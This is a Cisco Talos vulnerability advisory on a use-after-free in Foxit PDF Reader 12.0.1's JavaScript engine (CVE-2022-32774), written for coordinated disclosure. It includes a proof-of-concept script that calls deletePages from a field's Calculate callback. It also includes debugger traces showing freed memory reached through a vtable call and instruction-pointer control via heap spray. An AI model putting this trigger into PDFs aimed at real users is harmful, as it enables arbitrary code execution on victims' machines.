Talos Vulnerability Report

TALOS-2022-1600

Foxit Reader deletePages Field Calculate use-after-free vulnerability

November 10, 2022
CVE Number

CVE-2022-32774

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. By prematurely deleting objects associated with pages, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.0.1.12430

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

function main() {

var a = this.getAnnots();
this.getField('txt3').setFocus(); 
this.getField('txt3').value = "asdf";
getField('txt3').setAction("Calculate",'f();'); 
this.getField('Text Field0').setFocus(); 

}

function f() {

this.getField('Text Field0').setFocus();
this.deletePages();
this.deletePages();

}

The above code simply assigns a callback function to ‘Calculate’ action for field txt3, which is promptly triggered by a call to setFocus on another field. In the action callback, all that happens is a call to deletePages, which in turn ends up freeing a large number of objects. Additionaly, another setFocus call is made in this event handler that gets put on event loop queue. After the execution returns to event handler, a use-after-free is triggered. We can observe the following in the debugger:

(1610.12a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=29f57fe8 ebx=263d8f94 ecx=2759cfa0 edx=07affa54 esi=263d8f94 edi=0d513890
eip=01c198b4 esp=07affa38 ebp=07affa6c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795b4:
01c198b4 8b01            mov     eax,dword ptr [ecx]  ds:002b:2759cfa0=????????
0:000> k 5
 # ChildEBP RetAddr      
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07affa6c 02f18355     FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795b4
01 07affabc 02f19939     FoxitPDFReader!safe_vsnprintf+0x1056d75
02 07affaf0 02f184b2     FoxitPDFReader!safe_vsnprintf+0x1058359
03 07affb40 02f46664     FoxitPDFReader!safe_vsnprintf+0x1056ed2
04 07affb60 02f46843     FoxitPDFReader!safe_vsnprintf+0x1085084
0:000> !heap -p -a ecx
    address 2759cfa0 found in
    _DPH_HEAP_ROOT @ a371000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   27342104:         2759c000             2000
    64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
    77ae3812 ntdll!RtlFreeHeap+0x00000222
    0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
    0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
    045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
    00f059bc FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0007197c
    00d8796d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002436d
    00d7dae0 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0001a4e0
    00d80e93 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0001d893
    00d67183 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00003b83
    00d6e91b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000b31b
    00d6eb8d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000b58d
    0150f641 FoxitPDFReader!CryptUIWizExport+0x0002fd01
    02c65ced FoxitPDFReader!safe_vsnprintf+0x00da470d
    02c34ab2 FoxitPDFReader!safe_vsnprintf+0x00d734d2
    02f54d9b FoxitPDFReader!FXJSE_GetClass+0x0000026b
    03138a8b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e361b
    0313824e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2dde
    03138505 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e3095
    0313838b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2f1b
    0335a53b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x004050cb
    032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
    032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
    032f4c20 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f7b0
    032f4a49 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f5d9
    02f915ee FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003c17e
    02f91102 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003bc92
    02f79df4 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x00024984
    02f798f0 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x00024480
    02f5330f FoxitPDFReader!FXJSE_Runtime_Release+0x00000d5f


0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795b4:
01c198b4 8b01            mov     eax,dword ptr [ecx]
01c198b6 52              push    edx
01c198b7 ff5008          call    dword ptr [eax+8]

In the above debugger output , we can see that the crash is due to dereference of invalid memory (with PageHeap enabled). The memory is invalid because it belongs to a freed allocation. Additionally, the dereference happens as part of a vtable function call, which lends itself to straightforward control flow hijacking. If we step back and examine the size of the object before it’s been freed, we would see:

0:000> dt _DPH_BLOCK_INFORMATION 2759cf84
verifier!_DPH_BLOCK_INFORMATION
   +0x000 StartStamp       : 0xabcdbbbb
   +0x004 Heap             : 0x00851000 Void
   +0x008 RequestedSize    : 0x5c
   +0x00c ActualSize       : 0x1000
   +0x010 Internal         : _DPH_BLOCK_INTERNAL_INFORMATION
   +0x018 StackTrace       : 0x1b23bc3c Void
   +0x01c EndStamp         : 0xdcbabbbb

The freed object was of size 0x5c. This indicates a use-after-free condition. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution. Indeed, as the crash summary demonstrates, EIP control can be achieved with crude heap spray. This issue shows a similar pattern to the one covered by TALOS-2021-1429.

Crash Information

With PageHeap disabled:

(b68.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00630041 ebx=10ccbe0c ecx=0e78eed0 edx=0782f528 esi=10ccbe0c edi=07bb1890
eip=42424242 esp=0782f504 ebp=0782f540 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
42424242 ??              ???
0:000> k
 # ChildEBP RetAddr      
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0782f500 01c198ba     0x42424242
01 0782f540 02f18355     FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795ba
02 0782f590 02f19939     FoxitPDFReader!safe_vsnprintf+0x1056d75
03 0782f5c4 02f184b2     FoxitPDFReader!safe_vsnprintf+0x1058359
04 0782f614 02f46664     FoxitPDFReader!safe_vsnprintf+0x1056ed2
05 0782f634 02f46843     FoxitPDFReader!safe_vsnprintf+0x1085084
06 0782f654 02f1a308     FoxitPDFReader!safe_vsnprintf+0x1085263
07 0782f660 01a28f9f     FoxitPDFReader!safe_vsnprintf+0x1058d28
08 0782f674 776ebf1b     FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x88c9f
09 0782f6a0 776c93af     USER32!_InternalCallWinProc+0x2b
0a 0782f780 776e7d7e     USER32!UserCallWinProc+0x25f
0b 0782f7f4 776e7a80     USER32!DispatchMessageWorker+0x2ee
0c 0782f800 00e7f8f4     USER32!DispatchMessageW+0x10
0d 0782f81c 00e7f9b3     FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x11c2f4
0e 0782f83c 04797072     FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x11c3b3
0f 0782f854 045654dd     FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5dbf52
10 0782f8a0 77388494     FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3aa3bd
11 0782f8b4 77b041c8     KERNEL32!BaseThreadInitThunk+0x24
12 0782f8fc 77b04198     ntdll!__RtlUserThreadStart+0x2f
13 0782f90c 00000000     ntdll!_RtlUserThreadStart+0x1b 
TIMELINE

2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.